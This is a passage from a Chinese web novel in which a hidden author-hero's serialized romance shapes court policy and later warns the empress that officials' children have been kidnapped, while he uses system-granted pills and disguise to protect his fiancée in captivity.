然而,她还未开口,工部尚书李秋年便已迫不及待地出列,手持玉笏,声音带着兴奋:
“陛下!臣有本奏!”
“李爱卿有何事奏?”
萧璇月凤眸微闪,心中已有预感。
“启奏陛下!”李秋年激动道,
“臣今日…偶得一书,乃市井流传的话本,名为《深宫秘恋》…”
他这话一出口,满朝文武顿时响起一阵低低的窃窃私语!
许多官员脸上露出古怪之色,现在不知道这个话本的官员已经不存在了。
站在角落的江凡更是心里一咯噔,睡意瞬间醒了大半!
工部?话本?
难道最新章节出现在工部官员的身边了吗?
昨晚可是发送了两千份,而按照系统传播人气的方式,都是优先发放给能扩散人气的人。
嗯,这么一想,出现在工部大人的身边就正常了。
萧璇月心中也是讶异,表面却不动声色:
“哦?李爱卿何时也对这市井小说感兴趣了?”
李秋年老脸一红,连忙解释道:
“陛下明鉴!老臣原本对此等杂书也是不屑一顾。然…然昨日偶见其最新章节,其中竟详绘了一种名为‘曲辕犁’的新式耕犁!
其结构精巧,构思奇妙,依图所示,似能极大降低耕牛拉力,提升翻地效率!老臣与部中几位大匠连夜研讨,皆认为此物…大有可为!
若能量产推广,必能惠及万民,功在千秋!故臣冒死恳请陛下,准臣依图试制,若果真有效,再行推广!”
他说得唾沫横飞,显然对此‘奇物’极为推崇。
静!死一般的寂静!
满朝文武,包括龙椅上的萧璇月,全都愣住了!
工部尚书竟然在庄严肃穆的金銮殿上,一本正经地讨论话本里的农具?
还要申请朝廷拨款试制?
这…这简直是前无古人的事情!
然而,短暂的寂静之后,便是更大的哗然!
因为这个话本内容很多人都知道,绝对不能当成普通话本对待。
里面的诗词歌赋、治国之策,甚至税银案、治病等方法,都是被验证切实可行的。
只是一想到他们这些朝廷命官,现在竟然要依靠话本的内容实行改革或者新政,很多官员就感觉很不舒服。
好像显得大家很没用似得...
“李大人!你…你莫不是老糊涂了?!怎可拿话本戏言来玷污朝堂?!”
“简直是胡闹!《深宫秘恋》?那不是写女帝…呃,是写宫廷艳情的话本吗?怎会有农具图纸?”
“荒谬!荒谬至极!”
不少大臣纷纷出言斥责,认为李秋年失了体统。
如果什么都听话本里的建议,那还要他们这些官员做什么?
所以他们第一时间就是反对,至于里面的东西是不是真的
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有用,他们才不管!
但也有一些官员,尤其是出身寒门、关心农事的官员,却露出了思索之色。
他们中不少人也偷偷看过这话本,对其中偶尔出现的治国之策印象深刻。
若那‘曲辕犁’真如李尚书所言,对大夏国也是利国利民的事情。
萧璇月端**,心中却是翻江倒海!
工部…竟然也这么快就拿到了最新章节?
而且,李秋年此人,性格古板严谨,绝非信口开河之辈!
他既然敢在朝堂上提出,必定是经过了初步验证,认为确有可行性!
这逍遥公子的影响力…已经渗透到六部官员了吗?
他的书,传播速度为何如此之快?
在她想来,逍遥公子连夜更新章节,应该有个十分强大的部门帮忙将新章节复印传播出去。
她的目光再次不受控制地瞥向角落里的江凡。
只见那家伙也张大了嘴巴,一副懵逼表情,不似作伪。
萧璇月强压下心中的惊疑,沉声道:
“肃静!”
威压散开,大殿瞬间安静下来。
她看向李秋年,语气平静:
“李爱卿,你之所言,事关国计民生,不可儿戏。你确定…那话本中的图纸,并非空中楼阁?”
本来她就打算让工部试试的,既然李秋年主动提出,她当然要顺势询问一下可行性。
李秋年连忙躬身,语气笃定:
“陛下!老臣愿以项上人头担保!此话本虽内容荒诞,但其中所载的几种机巧之物,如之前提及的筒车、高转翻车,工部依其法试制小样,皆验证有效!
此次的‘曲辕犁’,图纸之精妙,远超当前所用直辕犁,老臣确信,十有**可行!恳请陛下给工部一个机会!”
萧璇月心中再无怀疑!
这逍遥公子,竟然连农具都能改革,还真是多才多艺的国之栋梁。
能在工部这些技术官员心中建立了‘权威’,获得这些心高气傲的家伙认可,可不是容易的事情。
这家伙借话本传播这些‘奇技淫巧’,竟是在潜移默化地推动实务改革!
此等心机手段和本事,着实可怕!
她现在越发想找到逍遥公子,就算给他国师的位置也不为过。
第084章 可能是误会
“准奏!”萧璇月不再犹豫,朗声道,
“着工部依图试制‘曲辕犁’样品,于京郊皇庄先行试用!若确能省时省力,增产增效,朕不吝封赏,并命将作监全力量产,推广全国!”
“臣!谢陛下隆恩!陛下圣明!”
李秋年大喜过望,激动地跪地谢恩。
满朝文武面面相觑,不少人都感觉如今的早朝,有些魔幻。
一部市井话本,再一次影响了朝廷决策!
他们都不敢想象,会不会有一天上朝,大家人手一本《深宫秘恋》的最新章节进行讨论?
不少人打了个寒颤,画面太美,不忍多想。
而站在角落的江凡,此刻心中也是五味杂陈。
一方面,看到自己的‘私货’被朝廷采纳,有望惠及百姓,他有点小得意;
另一方面,工部尚书的举动,无疑将逍遥公子和这话本推到了风口浪尖,自己这马甲,怕是更引人注目了!
是福是祸,犹未可知。
所以实力强大之前,还是继续扮演好自己纨绔的人设,苟下去才是王道!
萧璇月将众臣反应尽收眼底,尤其是看向江凡时,心中也有些复杂。
她隐隐感觉,一张无形的大网,正在缓缓收紧。
而网中央的,或许不止是靖王,还有那个神秘莫测的…逍遥公子。
早朝在一种诡异的气氛中结束。
退朝时,萧璇月对着正在打哈欠的江凡,淡淡地丢下一句:
“江爱卿,跟朕到御书房。”
江凡顿时一脸郁闷,只能哭丧着脸,跟着女帝离开。
紫宸宫御书房内,檀香袅袅。
江凡躬身站在那里,低眉顺眼,心里却七上八下,只盼着女帝赶紧金口一开,放他这只‘倦鸟’归林。
他感觉自己的眼皮都快撑不住了,此刻只想扑回自己的软榻,会一会周公。
萧璇月端坐于御案之后,并未立刻让江凡退下。
她凤眸微抬,目光落在下方那个看似恭敬的青年身上。
联想到暗卫回报他‘酣睡整夜,气息平稳’,以及今早他在这御书房外那副强打精神、脚步虚浮的模样,萧璇月不禁开始皱眉。
这样子根本不像是睡了一整晚的,反而像是纵欲过度...
或许,昨日在靖王府受惊、又挨了那一下掌风,虽是轻伤,但对一个纨绔来说,也够他受的?
她向来赏罚分明,对真正用心办事的臣子,从不吝啬关怀。
“江爱卿,朕观你气色不佳,眼下乌青甚重。可是昨日受惊,伤势未愈?还是在宫中…睡得不安稳?”
她最后一句问得颇有深意,目光紧紧锁住江凡的脸,不放过他任何一丝细微的表情变化。
江凡心里一紧,暗道来了!
他连忙挤出几分感激的笑容,拱手道:
“劳陛下挂心,臣…臣惶恐。伤势已无大碍,张太医医术高明。只是…只是臣自幼有个毛病。
换了陌生床榻,便难以安眠,昨夜在宫中…确是辗转反侧,几乎未曾合眼。”
他一边说,一边打了个小小的哈欠,演技浑然天成。
“故而精神有些不济,惊扰圣驾,臣罪该万死。”
他适时地请罪,姿态放得极低。
萧璇月看着他的黑眼圈,听着他的解释,再结合暗卫的回报,心中的怀疑,顿时又消散了三成。
若他真是那神秘莫测、能夜书千言的逍遥公子,应该不至于累成这样。
她微微颔首,语气放缓:
“既如此,倒是朕考虑不周了。既已准你回府休养,便好生将息,莫要再出去…胡闹。”
“是是是!臣谨遵陛下教诲!回府后定当闭门谢客,好生休养,绝不敢再惹是生非!”
江凡如蒙大赦,恨不得指天发誓。
看着他这副急于离开迫切模样,萧璇月心中最后一丝疑虑也几乎烟消云散,反而觉得有些好笑。
逍遥公子怎么可能如此不堪?
她挥了挥手:
“去吧。今日便准你在府中休沐,不必随侍了。”
“臣谢主隆恩!陛下万岁万岁万万岁!”
江凡声音都透着一股轻快,连忙行了大礼,**着出了御书房,那脚步,竟比来时轻捷了不少。
看着他那几乎是小跑着消失的背影,萧璇月无奈地摇了摇头,嘴角勾起一抹笑意。
这小子…有时候,倒也不那么讨厌
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。
“云暮。”她轻声唤道。
“奴婢在。”云暮悄无声息地出现。
“你觉得…江凡今日,有几分真,几分假?”
萧璇月目光依旧望着殿门方向,似在自语,又似在询问。
云暮沉吟片刻,谨慎答道:
“回陛下,江世子面色倦怠,气息虚浮,不似作伪。而且,暗卫回报,他昨夜在凝香苑,确实…鼾声轻微,翻身次数都寥寥可数,应是深睡之状。
若他真是逍遥公子,能在那般严密监视下,神不知鬼不觉完成那般巨著…奴婢实在想不出,他是如何做到的。”
她顿了顿,补充道,
“陛下之前的猜测,确有可能…是误会了?逍遥公子,另有其人...”
萧璇月默然良久,才轻轻吐出一口气:
“或许吧…是朕…执念太深了。”
她揉了揉眉心,感觉有些疲惫,
“罢了,传令下去,撤回对江凡的监视吧。既然排除了他的嫌疑,便不必再浪费人手。
将精力,都放到监控靖王和那几千不明人马上去!皇宫内外,给朕守得像铁桶一般!”
“是!陛下!”
云暮领命,心中也松了口气。
一直监视那位看似不着调、实则让人摸不透的世子爷,她也觉得压力颇大。
皇宫外面。
江凡几乎是脚不沾地地溜出了皇宫,直到确认远离了那朱红宫墙,才真正松了一口气。
他生怕女帝脑子抽筋,又把自己叫回去。
这苦逼的上班日子,一定要加快结束才行。
阳光洒在身上,暖洋洋的,他却感觉一阵阵发虚,那是心神过度消耗的后遗症。
“不行了不行了,得赶紧回去补觉…”
他嘟囔着,加快了脚步,只想尽快回到他那张熟悉的大床。
然而,就在他拐入一条回府必经的、相对安静的巷子时,异变突生!
一名穿着普通、貌不惊人的中年男子,如同鬼魅般挡在了他的前路。
几乎同时,巷子两头也出现了几道身影,气息沉稳,目光锐利,隐隐形成合围之势。
江凡脚步一顿,心中警铃大作!
来者不善!
第085章 唯一的办法
被几个高手围住,不出所料,应该是靖王那边的人。
江凡想了想,还是忍住暂时没有动手。
对方至少有三名先天后期,两名先天巅峰!
好大的手笔!
他第一时间强压下本能反击的冲动,【敛息诀】运转到极致,将修为死死压制不逸散一丝,脸上迅速堆起纨绔子弟特有的惊慌与色厉内荏:
“你们是什么人?想干什么?光天化日之下,敢拦本世子的路?知道我是谁吗?!”
那为首的中年男子面无表情,声音低沉带着不容置疑:
“江世子,我家主人有请世子一叙,请随我来。”
“你家主人?谁啊?藏头露尾的,好大的架子!”
江凡心中警铃大作,面上却故意摆出纨绔子弟的嚣张模样,试图套话,
“本世子忙着呢,没空见什么阿猫阿狗!让开!”
那男子眼中寒光一闪,语气冷了几分:
“世子爷最好配合,免得自讨苦吃。”
他话音未落,巷子前后那几道气息骤然变得凌厉起来,锁定了江凡。
江凡心中飞快盘算:对方有备而来,实力不弱,硬拼或许能脱身,但势必暴露修为,后患无穷。
而且,他很好奇,这光天化日之下,在皇城根儿,是谁敢如此大胆**国公世子?
靖王?还是其他势力?
不如将计就计,看看他们到底想玩什么花样!
他脸上立刻换上一副‘惊慌失措’的表情,色厉内荏地叫道:
“你…你们想干什么?我…我可是镇国公世子!陛下眼前的红人!你们敢动我一根汗**,我爹和陛下绝不会放过你们!”
那男子嘴角勾起一抹讥诮的弧度:
“世子爷放心,只要您乖乖配合,我们绝不会伤您分毫。请吧!”
他侧身让开道路,做了个‘请’的手势,但那股无形的压力却丝毫未减。
江凡‘犹豫’了一下,似乎被对方的阵势吓住,嘟囔道:
“哼!去就去!本世子倒要看看,是谁这么大胆子!”
说着,他一副不情不愿的样子,跟着那男子向巷子深处走去。
七拐八绕之后,他们来到一处死胡同,角落里停着一辆毫不起眼的青篷马车。
男子拉开帘子,示意江凡上车。
车内还有两名黑衣壮汉,眼神冰冷,气息彪悍。
“上车!”男子命令道。
江凡‘战战兢兢’地爬上车,刚一坐稳,一名黑衣壮汉便迅速用一块浸了**的布巾捂了一下他的口鼻。
另一人则用黑布条蒙上了他的眼睛,堵住了他的嘴巴。
动作干净利落,显然是老手。
“唔…唔…”
江凡配合地发出几声含糊的呜咽,便装作药力发作,脑袋一歪,‘昏睡’过去。
实则【敛息诀】全力运转,将自身状态模拟得与中了普通**无异,同时神识悄然蔓延开去,牢牢锁定着马车行驶的路线和周围的动静。
马车颠簸前行,速度不慢。
江凡心中冷笑:果然出城了!
方向是…西南郊外!
好大的胆子!
竟然真敢在天子脚下**朝廷命官之子!
而且目标明确,行动迅捷,组织严密,这绝不是普通的绑匪!
所图必然极大!
约莫过了半个多时辰,马车终于停下。
江凡被两名壮汉架着胳膊,拖下车,又走了一段路,似乎进入了一处庄园。
接着,他被推进一个房间,眼上的黑布和嘴里的布团被粗暴地扯掉。
江凡‘悠悠转醒’,揉着‘发晕’的脑袋,茫然地打量着四周。
这是一个陈设简单的房间,没有窗户,只有一扇紧闭的铁门。
而房间里,竟然或坐或站,已经有了七八个年纪相仿的年轻男女!
一个个都是锦衣华服,但此刻皆是脸色苍白,惊魂未定,显然都是被同样手段‘请’来的!
江凡瞳孔微缩!
他认出了其中几个!
礼部侍郎的公子、户部尚书的千金、甚至还有一位郡王家的世子!
全是京城里有头有脸的官宦子弟!
这是…一锅端了?!
**这么多高官子弟,这是要捅破天啊!
对方想干什么?
勒索?
还是…作为人质,要挟他们的父辈在朝中搞事?
甚至配合城外那几千兵马,里应外合,逼宫**?
想到这里,江凡心
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中寒意大盛!
靖王!
十有**是靖王那条老狗!
他最近被自己话本黑成碳,估计是狗急跳墙,要玩一把大的了!
就在这时,铁门再次被打开,两个黑衣人又推搡着一个身影走了进来。
那身影踉跄几步,抬起头,露出一张清秀却写满惊恐的俏脸——竟是周婉如!
四目相对,两人都愣住了!
“周…周小姐?你怎么也…”
江凡下意识地脱口而出。
周婉如看到江凡,先是一惊,随即美眸中瞬间涌上委屈和后怕的泪水,声音带着哭腔:
“江世子?!他们…他们说你在城外别苑等我,有要事相商…我…我没想到…”
她话未说完,已是泣不成声。
江凡心中顿时涌起一股怒火和愧疚!
这帮混蛋!
竟然利用自己的名义把周婉如这个傻妞骗来!
简直卑鄙无耻!
“闭嘴!不准交谈!”
一名守在门口的黑衣人厉声呵斥,眼神凶狠地扫过众人。
房间内顿时一片死寂,只剩下周婉如低低的抽泣声和其他人压抑的呼吸声。
气氛压抑得令人窒息。
江凡强迫自己冷静下来。
情况万分危急!
必须尽快把消息传出去!
女帝虽然可能已经察觉城内有异动,但绝想不到对方会采取**官眷这种极端手段!
必须让她知道具体地点和人质情况!
直接杀出去?
以他宗师中期的修为,对付外面这几个看守绰绰有余。
但打草惊蛇后,庄园内肯定还有其他高手,一旦陷入重围,自己或可脱身,但周婉如和其他人质必死无疑!
而且,彻底暴露修为的后果,他承担不起!
毕竟现在是不是靖王的人还没弄清楚,就算真的来了高手救下他们,靖王很可能把自己撇干净。
一旦知道自己实力,那下次自己面对的对手,可能是大宗师以上了!
唯一的办法,还是‘老本行’——利用话本传讯!
他深吸一口气,走到墙角,背对着众人坐下,装作害怕和疲惫的样子,闭上了眼睛。
心神瞬间沉入系统空间!
第086章 神秘面具人
【系统,兑换‘强效凝神丹’!】
江凡顾不得心疼人气值,必须争分夺秒!
丹药入口,一股清凉之气直冲识海,疲惫感一扫而空,思维变得异常清晰敏锐。
他立刻以神念为笔,开始在空间内奋笔疾书!
这一次,他不再有任何掩饰和铺垫,开篇便是石破天惊的紧急预警!
“《深宫秘恋》紧急篇:皇城惊变,百官子女遭劫持!”
他详细描述了‘神秘黑衣人’如何利用各种借口诱骗官员子女出城。
最终集中关押于‘西南郊外二十里,一处名为‘锦绣庄’的废弃皇庄’之内!
点明庄内守卫森严,至少有百名以上训练有素的死士,疑似有宗师高手坐镇!
并暗示此事可能与‘某位权势熏天的王爷’有关,其目的很可能是以人质要挟朝廷,图谋不轨!
他甚至冒险,根据神识感知,大致画出了庄园的简易布局图和关押人质的主要建筑位置!
最后,他笔锋一转,写到‘大乾女帝’得知消息后,如何震怒,如何火速调派大内高手与禁军精锐,星夜驰援,务求一举歼灭匪徒,解救所有人质!
写完这惊心动魄的一章,他毫不犹豫地提交!
【作品检测中…完整性符合要求,审核通过。】
【开始随机生成复刻本(2000份),投放至京城及周边区域,优先投放至关键人物附近…投放中…】
看着系统提示,江凡心中稍安。
女帝…这次,你一定要第一时间收到啊!
做完这一切,他感觉心神消耗巨大,强效凝神丹的药效正在迅速消退。
他赶紧退出系统空间,装作刚刚睡醒的样子,揉了揉眼睛,悄悄挪动身子,靠到了蜷缩在另一个墙角的周婉如身边。
周婉如感受到有人靠近,吓得一哆嗦,抬头见是江凡,眼中闪过一丝复杂。
江凡压低声音,用只有两人能听到的音量说道:
“别怕,有我在。”
他这话说得没什么底气,但此刻,却是他唯一能给的安慰。
他暗暗下定决心,万一事不可为,就算暴露修为,也定要护住周婉如周全!
毕竟,是自己连累了她。
而且两人的婚事只是暂时搁置,名义上还是他未婚妻。
退一万步来说,周大人跟老爹关系不错,于情于理,他都应该保护好周婉如。
周婉如怔怔地看着江凡,慌乱的心莫名地安定下来。
她一直怀疑江凡不是表面上的纨绔这么简单,此时再看向四周的黑衣人,竟然有了种莫名的安全感。
这个未婚夫,还不错...
她轻轻点了点头,下意识地往江凡身边靠了靠。
两人靠坐在墙角,在压抑的寂静中,等待着未知的命运。
而江凡的心,早已飞到了那座森严的皇宫,飞到了那个手握乾坤的女帝身边…
……
皇宫,紫宸宫。
萧璇月刚批阅完几份紧急奏报,揉了揉发胀的眉心,正准备歇息片刻。
忽然,她心有所感,目光下意识地投向龙榻枕边——那里,空空如也。
她自嘲地笑了笑,看来自己真是魔怔了,那逍遥公子再神通广大,也不可能一天更新两次…
这个念头还未转完,她的指尖却触碰到了一本…微带凉意的书册!
萧璇月凤眸骤然收缩!
猛地将书抽出!
正是《深宫秘恋》!
封面还带着墨香!
更新时间…赫然是今日午时!
距离早朝结束,才不过一个多时辰!
他怎么会在这么短的时间内连续更新?
一股极其不祥的预感瞬间笼罩全身!
她颤抖着手,飞快地翻开书页!
当看到开篇那几个触目惊心的大字‘皇城惊变,百官子女遭劫持!’时,她的呼吸几乎停滞!
她一目十行地扫过内容,越看脸色越是苍白,到最后,已是面无人色!
西南郊外锦绣庄!
**!
百官子女!
宗师高手!
疑似某王爷主使!
每一个字都狠狠砸在她的心头!
“云暮!!”
她猛地站起身,声音因为惊怒而颤抖,
“速传暗卫统领、禁军大统领、以及所有在宫中的宗师供奉,即刻来见朕!要快!!”
当她认定逍遥公子是友非敌的时候,就知道逍遥公子的内容除了情情爱爱,绝不会无的放矢。
“是!!”
云暮看到女帝的脸色,心知必有惊天大事发生,不敢多问,立刻领命而去。
萧璇月强迫自己冷静下来,深吸几口气,目光再次落在那张简陋却清晰的庄园布局图上。
逍遥公子…这次,你到底是未卜先知,还是…根本就是参与者?
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>你若真是友非敌,此刻又身在何处?
就在这时,殿外传来一阵急促的脚步声和惶急的通报声:
“陛下!不好了!礼部侍郎、户部尚书、安郡王等十余位大人联袂求见!称…称家中公子、小姐今日午后离奇失踪,恐遭不测!”
来了!
消息印证了!
萧璇月眼中寒光爆射!
最后一丝犹豫彻底消失!
她快步走到御案前,铺开京城周边地图,找到西南郊外‘锦绣庄’的位置,玉指重重一点!
“传朕旨意!九门封闭,只进不出!暗卫全部出动,给朕盯死锦绣庄,一只鸟也不准放出去!
禁军左右卫,点齐五千精锐,由大内宗师供奉带队,即刻出发,秘密包围锦绣庄!没有朕的命令,不准强攻,但若庄内异动,或人质有性命之危,格杀勿论!”
一道道命令发出,整个皇宫瞬间行动起来!
萧璇月站在地图前,凤眸含煞,周身散发出冰冷的杀意。
靖皇叔…你若真敢行此大逆不道之事,朕定让你付出惨痛的代价!
还有逍遥公子…
你究竟是什么身份获得这些情报的?
而远在二十里外锦绣庄地牢中的江凡,此时正皱眉沉思,不知道女帝看到话本没有。
就算看到了,能不能相信,第一时间派出高手拯救?
他瞥了一眼系统中累积到四十多万的人气值,心中稍安。
提升到宗师中期需要三十万人气值,现在也不是节约的时候,当然要尽可能的提升修为。
“系统,给我提升到宗师中期!”
很快,三十万人气值被扣除,他的修为再次提升,从宗师初期提升到中期。
修为提升让他有了更多底气,但面对未知的敌人和复杂局势,他不敢有丝毫大意。
提升到宗师后期需要五十万人气值,就算每天获得十万人气,也需要四五天。
当务之急,是隐藏好自己,见机行事。
就在这时,地牢的铁门从外面推开。
一道笼罩在黑色斗篷里的身影,在一群气息彪悍的黑衣人簇拥下,缓步走了进来。
来人脸上戴着一张只造型诡异的青铜面具,面具上的纹路扭曲狰狞,在火光下更显阴森。
他扫视了一圈牢房中惊惶不安的‘肉票’们,声音沙哑的开口:
“给他们喂下‘化功散’。”
第087章 万能解毒丹
面具人开口,声音经过特殊处理,令人头皮发麻。
他身后一名黑衣人应声而出,手中托着一个木盘,上面摆放着几十颗色泽乌黑的药丸。
“不!我不吃!这是什么鬼东西!”
“放开我!你们知道我是谁吗?我爹是…”
“求求你们,放过我吧…”
牢房中顿时炸开了锅,哭喊声、求饶声、咒骂声响成一片。
这些平日里养尊处优的公子小姐们,何曾见过这等阵仗?
面对未知的药丸,恐惧瞬间淹没了他们。
“闭嘴!”
面具人冷喝一声,一股杀气瞬间弥漫开来,压得众人喘不过气,
“此乃‘化功散’,十二个时辰内,化去尔等内力,令人四肢酸软,无法动用真气。并非**,时辰一到,自会恢复。若有人不肯吃…”
他顿了顿,面具下的眼睛寒光一闪,“格杀勿论!”
最后四个字,让所有人脸色剧变。
吃,可能任人宰割;
不吃,立刻血溅当场!
短暂的死寂后,终于有一个胆小的公子哥承受不住压力,哭嚎着抓起一颗药丸塞进了嘴里。
药丸入腹不过数息,他便脸色煞白,惊恐地叫道:
“我…我的内力!真的没了!浑身一点力气都使不上了!”
说完,便软软地瘫倒在地。
有了第一个,就有第二个。
在死亡威胁下,众人只能颤抖着手,接过那致命的药丸,闭眼吞下。
很快,地牢内便瘫倒了一片,呻吟声、哭泣声不绝于耳。
周婉如看着递到眼前的黑色药丸,俏脸惨白,玉手颤抖着,求助般地望向身旁的江凡。
江凡心中怒火升腾,却知道此刻绝不能硬扛。
他对着周婉如微不可察地点了点头,然后率先接过药丸,毫不犹豫地吞了下去。
同时,他心神急动:
【系统!兑换万能解毒丹(高级)x2!】
人气值瞬间扣除两千点,两颗莹白如玉的丹药悄然出现在他系统空间。
药丸入喉,一股暖流迅速扩散,所过之处,经脉中的真气滞涩起来,四肢也开始发软。
江凡心中冷笑,这化功散药性确实霸道,若非早有准备,只怕大宗师修为也要暂时受制。
他立刻暗中服下一颗万能解毒丹。
丹药化作一股清流,迅速中和了化功散的药力,几个呼吸间,他便感觉内力运转恢复如常,力气也回来了。
但他依旧装作药力发作的样子,身体晃了晃,‘虚弱’地靠墙滑坐在地上,演技无可挑剔。
周婉如见江凡也吃了,心中稍定,一咬牙,也将药丸吞下。
很快,她也感到浑身无力,软倒在地,心中充满了绝望。
江凡趁众人注意力分散的混乱之际,悄无声息地挪到周婉如身边,借着身体的掩护,将另一颗万能解毒丹迅速塞进了她的口中,并用极低的声音道:
“别出声,咽下去。”
周婉如只觉得口中一凉,一股清甜之意滑入喉中,紧接着,那股令人绝望的无力感竟迅速退去!
她震惊地睁大了美眸,不可思议地看向江凡。
只见江凡对她眨了眨眼,嘴角勾起一丝让她安心的笑意。
他…他竟然有解药?
他刚才吃下化功散是装的?
周婉如心中掀起了惊涛骇浪!
这个看似玩世不恭的世子爷,身上到底还藏着多少秘密?
在如此绝境下,他非但没有慌乱,反而备了解药,甚至还分给了自己!
一股暖流和强烈的安全感瞬间涌遍全身,对这个未婚夫也充满感激和依赖。
她轻轻点了点头,也装作无力地靠在墙上,但眼神中已没有了恐惧,只有对身边这个男人的全然信任。
江凡见周婉如无恙,心中稍安。
他目光扫过地上瘫倒的其他人,心中犹豫是否要冒险也给他们解毒。
人数太多,目标太大,极易暴露。
而且,这些人中难保没有软骨头,万一有人露出马脚,反而会害了所有人。
就在他权衡利弊之际,那面具人似乎完成了‘**’任务,准备离开。
然而,他临走前,目光再次扫过牢房,忽然抬手点了几个方向,其中包括了周婉如和另外两名容貌姣好的官家小姐:
“你,你,还有你…把她们三个带出来,单独关押。”
什么?!
江凡心中猛地一沉!
单独带走?
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想干什么?
他瞬间排除了多种可能,最坏的结果就是…
他绝不能让周婉如离开自己的视线!
出手?
瞬间制住面具人?
不行!
且不说面具人气息晦涩,可能也是宗师高手,周围还有众多黑衣人。
一旦动手,身份必然暴露,打草惊蛇,再想揪出幕后黑手就难了!
而且,混战中很难保证周婉如和其他人质的绝对安全。
可不阻止,难道眼睁睁看着周婉如被带走?
千钧一发之际,一名黑衣人急匆匆从外面跑进来,附在面具人耳边低声急语了几句。
虽然声音极低,但如何瞒得过江凡的敏锐感知?
他清晰地听到:“…老大!不好了!刚收到飞鸽传书,京城禁军异动,大批高手正朝锦绣庄方向而来!似乎…似乎是走漏了消息!”
面具人身体猛地一震,青铜面具下的双眼爆射出寒光,声音更加嘶哑:
“什么?!消息如何走漏的?”
“好像...是个什么话本...”
“又是那个该死的逍遥公子!”
面具人气得一拳砸在旁边的石壁上,碎石飞溅。
“属下不确定!但情况紧急,请老大速决!”
此时面具人也只能强行压下怒火,当机立断:
“计划有变!此地不宜久留!所有人听令!立刻带着这些‘宝贝’转移!动作要快!若有反抗不肯走的,就地格杀!”
他放弃了单独带走周婉如等人的命令,显然,整体转移的优先级更高。
牢房门被打开,黑衣人冲进来,粗暴地驱赶着瘫软在地的公子小姐们。
“都起来!快走!谁慢一步,老子砍了他的腿!”
众人虽然浑身无力,但在死亡的威胁下,只能哭喊着、挣扎着,互相搀扶着,被黑衣人推搡着向外走去。
场面一片混乱。
江凡心中暗喜,机会来了!
他一把拉起周婉如,混在人群中,故意落后几步。
外面停着几辆准备用来转移的马车,人群拥挤,光线昏暗,守卫的注意力也大多放在驱赶前面的人上。
江凡凑到周婉如耳边,小声问道:
“婉如,信我吗?”
第088章 带她去哪里
江凡压低声音,语速极快。
周婉如毫不犹豫地点头,美眸中满是坚定:
“信!”
“好!等下按我说的做!”
等两人上了马车,黑衣人呵斥一声:
“都特么老实点!谁敢发出声音,或者试图逃跑,那就所有人一起陪葬!”
一众公子小姐都浑身无力,只能挤在马车中,而江凡和周婉如躲在角落。
马车开始行驶,江凡不再犹豫,体内真气悄然运转!
他并指如风,快如闪电般在周围几个挤作一团的公子小姐后颈轻轻一拂!
那几人哼都没哼一声,便软软地晕倒。
马车行驶中不断摇晃抖动,外面的黑衣**概以为他们都吃了药,不会料到还有人能使用真气。
江凡听了几息,确定没人注意,这才一把将周婉如拉到身边,低喝道:
“快!脱掉外衣跟我换!”
周婉如瞬间明白了他的意图!
他是要和自己互换身份!
由他扮成自己,去应对可能针对女子的未知危险!
而让自己扮成他,相对可能更安全!
这…这太冒险了!
但此刻,除了相信他,别无选择!
她俏脸绯红,却没有任何犹豫,迅速解开了自己的外衫。
江凡也动作麻利地脱下了自己的世子锦袍。
两人在拥挤的车厢里,完成了换装。
江凡的锦袍穿在周婉如身上显得宽大臃肿,而周婉如的鹅黄衣裙套在江凡身上更是紧绷怪异。
“把这个吃了!”
江凡又从系统里兑换了一颗丹药,塞进周婉如嘴里,然后输入真气帮她调整相貌。
【高级易容丹(时效12时辰)】
丹药入口即化,周婉如只觉得面部肌肉一阵蠕动,很快变成了江凡的模样,只是眼神依旧清澈柔美。
与此同时,江凡全力运转【易容术(神级)】。
只见他的身形以肉眼可见的速度缩小、变得纤细,面部肌肉也迅速调整,眨眼间,竟然变成了周婉如那清秀可人的模样!
只是那双桃花眼中,偶尔闪过的精光与周婉如的温婉截然不同。
“记住,你现在是‘江凡’,尽量低着头,少说话!一切有我!”
江凡用周婉如的声音低声叮嘱,惟妙惟肖。
周婉如用力点头,心中充满了震撼和感动。
他为了护她周全,竟不惜男扮女装,承担最大的风险!
若能活着回去,这个未婚夫非他不嫁!
马车行驶了约莫半个时辰,来到一处偏僻的山谷。
黑衣人命令所有人下车,被驱赶着进入一个隐蔽在山壁上的天然洞穴。
洞穴入口狭窄,内部却颇为宽敞。
而载着他们的马车,则继续前行,显然是为了迷惑可能的追兵。
进入洞穴深处一个较大的石室后,黑衣人再次将众人围住。
那面具人清点了一下人数,便挥手示意手下严加看管,然后带着几个心腹匆匆离开了,想必是去布置防御或商议对策。
暂时安全了。
江凡暗暗松了口气,但心情依旧沉重。
他知道,这里绝非久留之地。
大概是女帝看到话本,第一时间安排人拯救。
但显然走漏了消息,所以这些人才这么急着转移。
必须尽快想办法脱身,或者等待女帝的援军。
他看了一眼身边易容成自己模样的周婉如,递给她一个放心的眼神。
周婉如接收到他的目光,心中一暖,勇敢地点了点头。
黑暗中,她看着‘自己’那张熟悉又陌生的脸,心中充满了坚定:
无论如何,一定要和他一起活下去!
两人紧挨着坐在角落的乱石堆上。
江凡表面上一副柔弱无助的样子,暗中却将神识蔓延开来,仔细探查着石室的结构、守卫的分布、气息以及洞穴深处可能存在的通道。
石室只有一个出口,被一道厚重的铁栅栏门封锁,门外守着四名黑衣人。
气息都在先天后期到巅峰,眼神锐利,手持兵刃,显然都是精锐。
更麻烦的是,江凡的神识隐约感知到,在洞穴更深处的岔路口,似乎还有两股更强大的气息蛰伏,至少是宗师初期!
这面具人果然布置周密
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!
硬闯?
以他现在的实力,瞬间击杀门口四名守卫不难,但势必惊动深处的宗师高手。
一旦被缠住,混战起来,他或许能自保,但根本无法保证周婉如和其他人质的安全。
更何况,暴露修为和易容的后果不堪设想。
只能等!
等女帝的援军!
或者…等一个绝佳的时机。
他悄悄握了握身边周婉如的手,传递着安抚的力量。
周婉如感受到他掌心的温度,也用力回握了一下,表示明白。
两人在这绝境中,依靠着这份无声的默契和信任,相互支撑。
不知过了多久,石室外传来一阵急促的脚步声和低语声。
紧接着,铁栅栏门被‘哐当’一声拉开!
那名戴着青铜面具的首领再次出现,身后跟着两名黑衣人。
面具人的目光扫过石室内的人质,最后,竟然再次定格在了‘周婉如’的身上!
“你,出来。”
面具人沙哑的声音响起,带着不容置疑的命令。
江凡心中猛地一凛!
怎么回事?
难道他看出了什么破绽?
还是说…他原本的目标里,周婉如就排在前面?
一旦被单独带离,变数太大,极易暴露,也无法保护周婉如。
江凡脑中急转,正思索对策,是继续装柔弱抗拒,还是…
就在这时,他身边的周婉如却突然站起来,用略带沙哑的嗓音喊道:
“住手!你们要带她去哪里?!有什么冲我来!”
